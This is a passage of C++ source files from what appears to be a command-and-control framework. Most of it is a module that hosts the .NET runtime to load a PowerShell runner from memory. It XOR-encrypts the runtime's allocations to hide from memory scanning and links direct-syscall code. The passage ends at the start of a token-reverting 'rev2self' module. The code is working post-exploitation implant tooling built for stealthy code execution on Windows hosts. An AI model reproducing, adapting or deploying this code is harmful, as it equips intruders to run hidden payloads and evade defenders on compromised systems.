ppAssemblyStore); 17 | 18 | int setTargetAssembly(TargetAssembly * targetAssembly) 19 | { 20 | m_assemblyStore->setTargetAssembly(targetAssembly); 21 | return 0; 22 | } 23 | 24 | int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) 25 | { 26 | m_assemblyStore->updateTargetAssembly(identityManager, data); 27 | return 0; 28 | } 29 | 30 | LPWSTR getAssemblyInfo() 31 | { 32 | return m_assemblyStore->getAssemblyInfo(); 33 | }; 34 | 35 | protected: 36 | DWORD count; 37 | 38 | private: 39 | MyAssemblyStore* m_assemblyStore; 40 | 41 | }; -------------------------------------------------------------------------------- /modules/PwSh/AssemblyStore.cpp: -------------------------------------------------------------------------------- 1 | #include "AssemblyStore.hpp" 2 | #include 3 | 4 | #include 5 | 6 | #include 7 | #pragma comment(lib, "Shlwapi.lib") 8 | 9 | 10 | MyAssemblyStore::MyAssemblyStore(void) 11 | { 12 | count = 0; 13 | m_targetAssembly = nullptr; 14 | }; 15 | 16 | 17 | MyAssemblyStore::~MyAssemblyStore(void) 18 | { 19 | }; 20 | 21 | 22 | HRESULT STDMETHODCALLTYPE MyAssemblyStore::QueryInterface(REFIID vTableGuid, void** ppv) 23 | { 24 | if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyStore)) 25 | { 26 | *ppv = 0; 27 | return E_NOINTERFACE; 28 | } 29 | *ppv = this; 30 | this->AddRef(); 31 | return S_OK; 32 | } 33 | 34 | 35 | ULONG STDMETHODCALLTYPE MyAssemblyStore::AddRef() 36 | { 37 | return(++((MyAssemblyStore*)this)->count); 38 | } 39 | 40 | 41 | ULONG STDMETHODCALLTYPE MyAssemblyStore::Release() 42 | { 43 | if (--((MyAssemblyStore*)this)->count == 0) 44 | { 45 | GlobalFree(this); 46 | return 0; 47 | } 48 | return ((MyAssemblyStore*)this)->count; 49 | } 50 | 51 | 52 | int TargetAssembly::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) 53 | { 54 | m_assembly=data; 55 | 56 | if(m_assemblyStream!=nullptr) 57 | m_assemblyStream->Release(); 58 | 59 | m_assemblyStream = SHCreateMemStream((BYTE *)m_assembly.data(), m_assembly.size()); 60 | identityManager->GetBindingIdentityFromStream(m_assemblyStream, CLR_ASSEMBLY_IDENTITY_FLAGS_DEFAULT, m_assemblyInfo, &m_identityBufferSize); 61 | 62 | // std::cout << "updateTargetAssembly " << m_assembly.size() << std::endl; 63 | // std::wcout << "assemblyInfo " << m_assemblyInfo << std::endl; 64 | m_id++; 65 | 66 | return 0; 67 | } 68 | 69 | 70 | int MyAssemblyStore::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) 71 | { 72 | m_targetAssembly->updateTargetAssembly(identityManager, data); 73 | 74 | return 0; 75 | } 76 | 77 | 78 | 79 | HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB) 80 | { 81 | // std::cout << "MyAssemblyStore::ProvideAssembly " << std::endl; 82 | // std::wcout << "pBindInfo->lpPostPolicyIdentity " << pBindInfo->lpPostPolicyIdentity << std::endl; 83 | // std::wcout << "m_targetAssembly->getAssemblyInfo() " << m_targetAssembly->getAssemblyInfo() << std::endl; 84 | 85 | // Check if the identity of the assembly being loaded is the one we want 86 | if (m_targetAssembly!=nullptr && wcscmp(m_targetAssembly->getAssemblyInfo(), pBindInfo->lpPostPolicyIdentity) == 0) 87 | { 88 | //This isn't used for anything here so just set it to 0 89 | *pContext = 0; 90 | 91 | UINT64 id = m_targetAssembly->getId(); 92 | *pAssemblyId = id; 93 | 94 | //Create an IStream using our in-memory assembly bytes and return it to the CLR 95 | *ppStmAssemblyImage = SHCreateMemStream((BYTE *)m_targetAssembly->getAssembly(), m_targetAssembly->getAssemblySize()); 96 | return S_OK; 97 | 98 | } 99 | 100 | // std::wcout <<" !!!!!!!!!!!!!!!!! FAILLLLLLLLLLLLLLED !!!!!!!!!!!" << std::endl; 101 | 102 | // If it's not our assembly then tell the CLR to handle it 103 | return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND); 104 | } 105 | 106 | 107 | // This shouldn't really get called but if it does we'll just tell the CLR to find it 108 | HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB) 109 | { 110 | // std::cout << "MyAssemblyStore::ProvideModule" << std::endl; 111 | 112 | //Tell the CLR to handle this 113 | return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND); 114 | } 115 | -------------------------------------------------------------------------------- /modules/PwSh/AssemblyStore.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | 8 | #include 9 | 10 | 11 | class TargetAssembly 12 | { 13 | public: 14 | TargetAssembly(void) 15 | { 16 | m_assemblyStream = nullptr; 17 | 18 | m_id = 5000; 19 | m_assemblyInfo = (LPWSTR)malloc(4096); 20 | m_identityBufferSize = 4096; 21 | 22 | }; 23 | ~TargetAssembly(void) 24 | { 25 | free(m_assemblyInfo); 26 | }; 27 | 28 | int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data); 29 | 30 | LPWSTR getAssemblyInfo() 31 | { 32 | return m_assemblyInfo; 33 | }; 34 | 35 | int getId() 36 | { 37 | return m_id; 38 | }; 39 | 40 | char* getAssembly() 41 | { 42 | return m_assembly.data(); 43 | }; 44 | 45 | int getAssemblySize() 46 | { 47 | return m_assembly.size(); 48 | }; 49 | 50 | private: 51 | DWORD m_identityBufferSize; 52 | LPWSTR m_assemblyInfo; 53 | 54 | std::string m_assembly; 55 | 56 | IStream* m_assemblyStream; 57 | 58 | int m_id; 59 | }; 60 | 61 | 62 | class MyAssemblyStore : public IHostAssemblyStore 63 | { 64 | public: 65 | MyAssemblyStore(void); 66 | ~MyAssemblyStore(void); 67 | 68 | virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); 69 | virtual ULONG STDMETHODCALLTYPE AddRef(void); 70 | virtual ULONG STDMETHODCALLTYPE Release(void); 71 | 72 | virtual HRESULT STDMETHODCALLTYPE ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB); 73 | virtual HRESULT STDMETHODCALLTYPE ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB); 74 | 75 | int setTargetAssembly(TargetAssembly * targetAssembly) 76 | { 77 | m_targetAssembly = targetAssembly; 78 | return 0; 79 | } 80 | 81 | int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data); 82 | 83 | LPWSTR getAssemblyInfo() 84 | { 85 | return m_targetAssembly->getAssemblyInfo(); 86 | }; 87 | 88 | protected: 89 | DWORD count; 90 | 91 | private: 92 | TargetAssembly* m_targetAssembly; 93 | 94 | }; -------------------------------------------------------------------------------- /modules/PwSh/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | if(WIN32) 3 | add_library(PwSh SHARED PwSh.cpp HostControl.cpp AssemblyManager.cpp AssemblyStore.cpp HostMalloc.cpp MemoryManager.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj ) 4 | else() 5 | add_library(PwSh SHARED PwSh.cpp) 6 | endif() 7 | set_property(TARGET PwSh PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 8 | target_link_libraries(PwSh ) 9 | add_custom_command(TARGET PwSh POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 10 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 11 | 12 | if(WITH_TESTS) 13 | if(WIN32) 14 | add_executable(testsPwSh tests/testsPwSh.cpp PwSh.cpp HostControl.cpp AssemblyManager.cpp AssemblyStore.cpp HostMalloc.cpp MemoryManager.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj) 15 | else() 16 | add_executable(testsPwSh tests/testsPwSh.cpp PwSh.cpp) 17 | endif() 18 | # add_executable(testsPwSh WIN32 tests/testsPwSh.cpp PwSh.cpp HostControl.cpp AssemblyManager.cpp AssemblyStore.cpp HostMalloc.cpp MemoryManager.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj) 19 | target_link_libraries(testsPwSh ) 20 | set_property(TARGET testsPwSh PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 21 | add_custom_command(TARGET testsPwSh POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 22 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 23 | 24 | add_test(NAME testsPwSh COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 25 | endif() -------------------------------------------------------------------------------- /modules/PwSh/HostControl.cpp: -------------------------------------------------------------------------------- 1 | #include "HostControl.hpp" 2 | 3 | 4 | MyHostControl::MyHostControl(void) 5 | { 6 | count = 0; 7 | 8 | m_assemblyManager = new MyAssemblyManager(); 9 | m_memoryManager = new MyMemoryManager(); 10 | }; 11 | 12 | MyHostControl::~MyHostControl(void) 13 | { 14 | delete m_assemblyManager; 15 | delete m_memoryManager; 16 | }; 17 | 18 | 19 | HRESULT STDMETHODCALLTYPE MyHostControl::QueryInterface(REFIID vTableGuid, void** ppv) 20 | { 21 | // printf("MyHostControl_QueryInterface\n"); 22 | 23 | if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostControl)) 24 | { 25 | *ppv = 0; 26 | return E_NOINTERFACE; 27 | } 28 | *ppv = this; 29 | this->AddRef(); 30 | return S_OK; 31 | } 32 | 33 | 34 | ULONG STDMETHODCALLTYPE MyHostControl::AddRef() 35 | { 36 | // printf("MyHostControl_AddRef\n"); 37 | 38 | return(++((MyHostControl*)this)->count); 39 | } 40 | 41 | 42 | ULONG STDMETHODCALLTYPE MyHostControl::Release() 43 | { 44 | // printf("MyHostControl_Release\n"); 45 | 46 | if (--((MyHostControl*)this)->count == 0) 47 | { 48 | GlobalFree(this); 49 | return 0; 50 | } 51 | return ((MyHostControl*)this)->count; 52 | } 53 | 54 | 55 | // This is responsible for returning all of our manager implementations 56 | // If you want to disable an interface just comment out the if statement 57 | HRESULT STDMETHODCALLTYPE MyHostControl::GetHostManager(REFIID riid, void** ppObject) 58 | { 59 | // printf("MyHostControl_GetHostManager\n"); 60 | 61 | if (IsEqualIID(riid, IID_IHostMemoryManager)) 62 | { 63 | *ppObject = m_memoryManager; 64 | return S_OK; 65 | } 66 | 67 | if (IsEqualIID(riid, IID_IHostAssemblyManager)) 68 | { 69 | *ppObject = m_assemblyManager; 70 | return S_OK; 71 | } 72 | 73 | *ppObject = NULL; 74 | return E_NOINTERFACE; 75 | } 76 | 77 | 78 | // //This has some fun uses left as an exercise for the reader :) 79 | HRESULT MyHostControl::SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager) 80 | { 81 | // printf("MyHostControl_SetAppDomainManager\n"); 82 | 83 | return E_NOTIMPL; 84 | } 85 | 86 | -------------------------------------------------------------------------------- /modules/PwSh/HostControl.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | #include "MemoryManager.hpp" 7 | #include "AssemblyManager.hpp" 8 | 9 | 10 | static const GUID xIID_IHostControl = { 0x02CA073C, 0x7079, 0x4860, {0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91} }; 11 | 12 | 13 | inline void XOREncrypt2(char* address, int size, const std::string& xorKey) 14 | { 15 | DWORD start = 0; 16 | while (start < size) 17 | { 18 | *(address + start) ^= xorKey[start % xorKey.size()]; 19 | start++; 20 | } 21 | } 22 | 23 | 24 | class MyHostControl : public IHostControl 25 | { 26 | public: 27 | MyHostControl(void); 28 | ~MyHostControl(void); 29 | 30 | virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); 31 | virtual ULONG STDMETHODCALLTYPE AddRef(void); 32 | virtual ULONG STDMETHODCALLTYPE Release(void); 33 | 34 | virtual HRESULT STDMETHODCALLTYPE GetHostManager(REFIID riid, void** ppObject); 35 | virtual HRESULT STDMETHODCALLTYPE SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager); 36 | 37 | int setTargetAssembly(TargetAssembly * targetAssembly) 38 | { 39 | m_assemblyManager->setTargetAssembly(targetAssembly); 40 | return 0; 41 | } 42 | 43 | int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) 44 | { 45 | m_assemblyManager->updateTargetAssembly(identityManager, data); 46 | return 0; 47 | } 48 | 49 | LPWSTR getAssemblyInfo() 50 | { 51 | return m_assemblyManager->getAssemblyInfo(); 52 | }; 53 | 54 | 55 | const std::vector& getVirtualAllocList() 56 | { 57 | return m_memoryManager->getVirtualAllocList(); 58 | } 59 | 60 | const std::vector& getMallocList() 61 | { 62 | return m_memoryManager->getMallocList(); 63 | } 64 | 65 | int xorMemory(const std::string& xorKey) 66 | { 67 | std::vector vitualAllocList = getVirtualAllocList(); 68 | 69 | for (auto it = vitualAllocList.begin(); it != vitualAllocList.end(); ++it) 70 | { 71 | MemAllocEntry* entry = *it; 72 | if (entry->Address && entry->type == MEM_ALLOC_MAPPED_FILE) 73 | { 74 | XOREncrypt2((char*)entry->Address, entry->size, xorKey); 75 | } 76 | } 77 | 78 | MEMORY_BASIC_INFORMATION memInfo; 79 | DWORD oldProtect; 80 | std::vector mallocList = getMallocList(); 81 | for (auto it = mallocList.begin(); it != mallocList.end(); ++it) 82 | { 83 | MemAllocEntry* entry = *it; 84 | 85 | if(entry->Address) 86 | { 87 | ::VirtualQuery(entry->Address, &memInfo, sizeof(MEMORY_BASIC_INFORMATION)); 88 | 89 | if (memInfo.AllocationProtect != 0 && memInfo.State != 0x2000 && memInfo.State != 0x10000) 90 | { 91 | if (memInfo.Protect != PAGE_READWRITE) 92 | { 93 | ::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, PAGE_READWRITE, &oldProtect); 94 | XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey); 95 | ::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, oldProtect, &oldProtect); 96 | } 97 | else 98 | { 99 | XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey); 100 | } 101 | } 102 | } 103 | } 104 | 105 | return 0; 106 | } 107 | 108 | protected: 109 | DWORD count; 110 | 111 | private: 112 | MyAssemblyManager* m_assemblyManager; 113 | MyMemoryManager* m_memoryManager; 114 | 115 | }; 116 | -------------------------------------------------------------------------------- /modules/PwSh/HostMalloc.cpp: -------------------------------------------------------------------------------- 1 | #include "HostMalloc.hpp" 2 | #include "MemoryManager.hpp" 3 | 4 | #include 5 | 6 | 7 | MyHostMalloc::MyHostMalloc(void) 8 | { 9 | count = 0; 10 | } 11 | 12 | 13 | MyHostMalloc::~MyHostMalloc(void) 14 | { 15 | 16 | } 17 | 18 | 19 | HRESULT STDMETHODCALLTYPE MyHostMalloc::QueryInterface(REFIID vTableGuid, void** ppv) 20 | { 21 | if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMalloc)) 22 | { 23 | *ppv = 0; 24 | return E_NOINTERFACE; 25 | } 26 | *ppv = this; 27 | this->AddRef(); 28 | return S_OK; 29 | } 30 | 31 | 32 | ULONG STDMETHODCALLTYPE MyHostMalloc::AddRef() 33 | { 34 | return(++((MyHostMalloc*)this)->count); 35 | } 36 | 37 | 38 | ULONG STDMETHODCALLTYPE MyHostMalloc::Release() 39 | { 40 | if (--this->count == 0) 41 | { 42 | GlobalFree(this); 43 | return 0; 44 | } 45 | return this->count; 46 | } 47 | 48 | 49 | HRESULT MyHostMalloc::Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem) 50 | { 51 | LPVOID allocAddress = ::HeapAlloc(this->hHeap, 0, cbSize); 52 | // std::cout << "MyHostMalloc::Alloc " << std::hex << allocAddress << std::endl; 53 | 54 | MemAllocEntry* allocEntry = new MemAllocEntry(); 55 | allocEntry->Address = allocAddress; 56 | allocEntry->size = cbSize; 57 | allocEntry->type = MEM_ALLOC_MALLOC; 58 | m_memAllocList.push_back(allocEntry); 59 | 60 | *ppMem = allocAddress; 61 | if (*ppMem == NULL) 62 | { 63 | return E_OUTOFMEMORY; 64 | } 65 | else 66 | { 67 | return S_OK; 68 | } 69 | } 70 | 71 | 72 | HRESULT MyHostMalloc::DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem) 73 | { 74 | // std::cout << "MyHostMalloc::DebugAlloc" << std::endl; 75 | 76 | *ppMem = ::HeapAlloc(this->hHeap, 0, cbSize); 77 | if (*ppMem == NULL) 78 | { 79 | return E_OUTOFMEMORY; 80 | } 81 | else 82 | { 83 | return S_OK; 84 | } 85 | } 86 | 87 | 88 | HRESULT MyHostMalloc::Free(void* pMem) 89 | { 90 | // std::cout << "MyHostMalloc::Free" << std::endl; 91 | 92 | if (!::HeapValidate(this->hHeap, 0, pMem)) 93 | { 94 | // std::cout << "Detected corrupted heap" << std::endl; 95 | return E_OUTOFMEMORY; 96 | } 97 | ::HeapFree(this->hHeap, 0, pMem); 98 | pMem = nullptr; 99 | 100 | return S_OK; 101 | } -------------------------------------------------------------------------------- /modules/PwSh/HostMalloc.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | 8 | 9 | typedef enum 10 | { 11 | MEM_ALLOC_LIST_HEAD, 12 | MEM_ALLOC_MALLOC, 13 | MEM_ALLOC_VIRTUALALLOC, 14 | MEM_ALLOC_MAPPED_FILE 15 | } memAllocTracker; 16 | 17 | 18 | typedef struct _MemAllocEntry 19 | { 20 | SLIST_ENTRY allocEntry; 21 | void* Address; 22 | SIZE_T size; 23 | memAllocTracker type; 24 | } MemAllocEntry; 25 | 26 | 27 | class MyHostMalloc : public IHostMalloc 28 | { 29 | public: 30 | MyHostMalloc(void); 31 | ~MyHostMalloc(void); 32 | 33 | virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); 34 | virtual ULONG STDMETHODCALLTYPE AddRef(void); 35 | virtual ULONG STDMETHODCALLTYPE Release(void); 36 | 37 | virtual HRESULT Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem); 38 | virtual HRESULT DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem); 39 | virtual HRESULT Free(void* pMem); 40 | 41 | HANDLE hHeap; 42 | 43 | const std::vector& getMemAllocList() 44 | { 45 | return m_memAllocList; 46 | } 47 | 48 | protected: 49 | DWORD count; 50 | 51 | private: 52 | std::vector m_memAllocList; 53 | }; -------------------------------------------------------------------------------- /modules/PwSh/MemoryManager.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "HostMalloc.hpp" 3 | 4 | #include 5 | 6 | #include 7 | 8 | 9 | class MyMemoryManager : public IHostMemoryManager 10 | { 11 | public: 12 | MyMemoryManager(void); 13 | ~MyMemoryManager(void); 14 | 15 | virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); 16 | virtual ULONG STDMETHODCALLTYPE AddRef(void); 17 | virtual ULONG STDMETHODCALLTYPE Release(void); 18 | 19 | virtual HRESULT CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc); 20 | virtual HRESULT VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem); 21 | virtual HRESULT VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); 22 | virtual HRESULT VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult); 23 | virtual HRESULT VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect); 24 | virtual HRESULT GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes); 25 | virtual HRESULT RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback); 26 | virtual HRESULT NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size); 27 | virtual HRESULT AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size); 28 | virtual HRESULT ReleasedVirtualAddressSpace(LPVOID startAddress); 29 | 30 | const std::vector& getVirtualAllocList() 31 | { 32 | return m_memAllocList; 33 | } 34 | 35 | const std::vector& getMallocList() 36 | { 37 | return m_mallocManager->getMemAllocList(); 38 | } 39 | 40 | 41 | protected: 42 | DWORD count; 43 | 44 | private: 45 | MyHostMalloc* m_mallocManager; 46 | 47 | std::vector m_memAllocList; 48 | 49 | }; -------------------------------------------------------------------------------- /modules/PwSh/PowerShellRunner/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2Core/9e6ec281af1f9ee7b803fce6fc60b689ee4c2db9/modules/PwSh/PowerShellRunner/System.Management.Automation.dll -------------------------------------------------------------------------------- /modules/PwSh/PowerShellRunner/compile.bat: -------------------------------------------------------------------------------- 1 | csc /debug:portable rdm.cs /r:System.Management.Automation.dll /target:library 2 | powershell .\New-PowerShellRunnerHeader.ps1 -------------------------------------------------------------------------------- /modules/PwSh/PowerShellRunner/rdm.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2Core/9e6ec281af1f9ee7b803fce6fc60b689ee4c2db9/modules/PwSh/PowerShellRunner/rdm.dll -------------------------------------------------------------------------------- /modules/PwSh/PowerShellRunner/rdm.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2Core/9e6ec281af1f9ee7b803fce6fc60b689ee4c2db9/modules/PwSh/PowerShellRunner/rdm.pdb -------------------------------------------------------------------------------- /modules/PwSh/PwSh.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | #include "Common.hpp" 5 | 6 | #ifdef __linux__ 7 | 8 | #elif _WIN32 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "HostControl.hpp" 16 | 17 | // Import mscorlib.tlb (Microsoft Common Language Runtime Class Library). 18 | #import "mscorlib.tlb" auto_rename raw_interfaces_only \ 19 | high_property_prefixes("_get","_put","_putref") \ 20 | rename("ReportEvent", "InteropServices_ReportEvent") 21 | 22 | #endif 23 | 24 | #ifdef _WIN32 25 | struct AssemblyModule 26 | { 27 | mscorlib::_AssemblyPtr spAssembly; 28 | std::string name; 29 | std::string type; 30 | }; 31 | #endif 32 | 33 | 34 | class PwSh : public ModuleCmd 35 | { 36 | 37 | public: 38 | PwSh(); 39 | ~PwSh(); 40 | 41 | std::string getInfo(); 42 | 43 | int init(std::vector& splitedCmd, C2Message& c2Message); 44 | int process(C2Message& c2Message, C2Message& c2RetMessage); 45 | int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); 46 | int osCompatibility() 47 | { 48 | return OS_WINDOWS; 49 | } 50 | 51 | private: 52 | bool m_firstRun; 53 | 54 | int clearAssembly(); 55 | int clearCLR(); 56 | 57 | #ifdef _WIN32 58 | 59 | bool m_memEcrypted; 60 | bool m_moduleLoaded; 61 | 62 | // initCLR 63 | ICLRMetaHost *m_pMetaHost; 64 | ICLRRuntimeInfo *m_pRuntimeInfo; 65 | ICLRRuntimeHost *m_pClrRuntimeHost; 66 | MyHostControl* m_pCustomHostControl; 67 | ICorRuntimeHost* m_pCorHost; 68 | IUnknownPtr m_spAppDomainThunk; 69 | 70 | // loadAssembly 71 | mscorlib::_AppDomainPtr m_spDefaultAppDomain; 72 | TargetAssembly* m_targetAssembly; 73 | 74 | int initCLR(); 75 | int loadAssembly(const std::string& data, const std::string& type); 76 | int invokeMethodDll(const std::string& argument, std::string& result); 77 | int encryptMem(); 78 | int decryptMem(); 79 | 80 | std::vector m_assemblies; 81 | 82 | mscorlib::_AssemblyPtr m_spAssembly; 83 | mscorlib::_TypePtr m_spType; 84 | variant_t m_vtInstance; 85 | 86 | HANDLE m_ioPipeRead; 87 | HANDLE m_ioPipeWrite; 88 | 89 | #endif 90 | 91 | }; 92 | 93 | 94 | #ifdef _WIN32 95 | 96 | extern "C" __declspec(dllexport) PwSh * PwShConstructor(); 97 | 98 | #else 99 | 100 | extern "C" __attribute__((visibility("default"))) PwSh * PwShConstructor(); 101 | 102 | #endif 103 | 104 | -------------------------------------------------------------------------------- /modules/PwSh/tests/rdm.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2Core/9e6ec281af1f9ee7b803fce6fc60b689ee4c2db9/modules/PwSh/tests/rdm.dll -------------------------------------------------------------------------------- /modules/PwSh/tests/test.ps1: -------------------------------------------------------------------------------- 1 | # Define a test function 2 | function Get-ProcessInfo { 3 | Write-Host "=== Running Get-ProcessInfo ===" 4 | $process = Get-Process | Select-Object -First 1 5 | Write-Host "Process: $($process.ProcessName) - ID: $($process.Id)" 6 | } 7 | 8 | # Call the function 9 | Get-ProcessInfo 10 | 11 | # Set a variable and display it 12 | $x = 42 13 | Write-Host "`n=== Variable Test ===" 14 | Write-Host "The value of x is: $x" 15 | 16 | # Execute a standard command 17 | Write-Host "`n=== Executing 'Get-Process' ===" 18 | Get-Process | Select-Object -First 3 19 | -------------------------------------------------------------------------------- /modules/PwSh/tests/testsPwSh.cpp: -------------------------------------------------------------------------------- 1 | #include "../PwSh.hpp" 2 | 3 | #include 4 | 5 | #ifdef __linux__ 6 | #elif _WIN32 7 | #include 8 | #endif 9 | 10 | bool testPwSh(); 11 | 12 | 13 | int main() 14 | { 15 | bool res; 16 | 17 | std::cout << "[+] testPwSh" << std::endl; 18 | res = testPwSh(); 19 | if (res) 20 | std::cout << "[+] Sucess" << std::endl; 21 | else 22 | std::cout << "[-] Failed" << std::endl; 23 | 24 | return !res; 25 | } 26 | 27 | 28 | bool testPwSh() 29 | { 30 | std::unique_ptr pwSh = std::make_unique(); 31 | 32 | // PowerShellRunner DLL 33 | { 34 | 35 | { 36 | std::vector splitedCmd; 37 | splitedCmd.push_back("pwSh"); 38 | splitedCmd.push_back("init"); 39 | splitedCmd.push_back(".\\rdm.dll"); 40 | splitedCmd.push_back("rdm.rdm"); 41 | 42 | C2Message c2Message; 43 | C2Message c2RetMessage; 44 | pwSh->init(splitedCmd, c2Message); 45 | pwSh->process(c2Message, c2RetMessage); 46 | 47 | std::string output = "\n\noutput:\n"; 48 | output += c2RetMessage.returnvalue(); 49 | output += "\n"; 50 | std::cout << output << std::endl; 51 | } 52 | { 53 | std::string testString = "test"; 54 | 55 | std::vector splitedCmd; 56 | splitedCmd.push_back("pwSh"); 57 | splitedCmd.push_back("run"); 58 | splitedCmd.push_back("echo"); 59 | splitedCmd.push_back(testString); 60 | splitedCmd.push_back("|"); 61 | splitedCmd.push_back("write-output"); 62 | 63 | C2Message c2Message; 64 | C2Message c2RetMessage; 65 | pwSh->init(splitedCmd, c2Message); 66 | pwSh->process(c2Message, c2RetMessage); 67 | 68 | std::string output = "\n\noutput:\n"; 69 | output += c2RetMessage.returnvalue(); 70 | output += "\n"; 71 | std::cout << output << std::endl; 72 | } 73 | { 74 | std::vector splitedCmd; 75 | splitedCmd.push_back("pwSh"); 76 | splitedCmd.push_back("run"); 77 | splitedCmd.push_back("whoami /priv"); 78 | splitedCmd.push_back("|"); 79 | splitedCmd.push_back("write-output"); 80 | 81 | C2Message c2Message; 82 | C2Message c2RetMessage; 83 | pwSh->init(splitedCmd, c2Message); 84 | pwSh->process(c2Message, c2RetMessage); 85 | 86 | std::string output = "\n\noutput:\n"; 87 | output += c2RetMessage.returnvalue(); 88 | output += "\n"; 89 | std::cout << output << std::endl; 90 | } 91 | } 92 | 93 | return true; 94 | } -------------------------------------------------------------------------------- /modules/Rev2self/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(Rev2self SHARED Rev2self.cpp) 3 | set_property(TARGET Rev2self PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | target_link_libraries(Rev2self ) 5 | add_custom_command(TARGET Rev2self POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | if(WITH_TESTS) 9 | add_executable(testsRev2self tests/testsRev2self.cpp Rev2self.cpp) 10 | target_link_libraries(testsRev2self ) 11 | add_custom_command(TARGET testsRev2self POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsRev2self COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | endif() -------------------------------------------------------------------------------- /modules/Rev2self/Rev2self.cpp: -------------------------------------------------------------------------------- 1 | #include "Rev2self.hpp" 2 | 3 | #include 4 | 5 | #ifdef __linux__ 6 | 7 | #elif _WIN32 8 | #include 9 | #endif 10 | 11 | #include "Common.hpp" 12 | 13 | 14 | using namespace std; 15 | 16 | constexpr std::string_view moduleName = "rev2self"; 17 | constexpr unsigned long long moduleHash = djb2(moduleName); 18 | 19 | 20 | #ifdef _WIN32 21 | 22 | __declspec(dllexport) Rev2self* Rev2selfConstructor() 23 | { 24 | return new Rev2self(); 25 | } 26 | 27 | 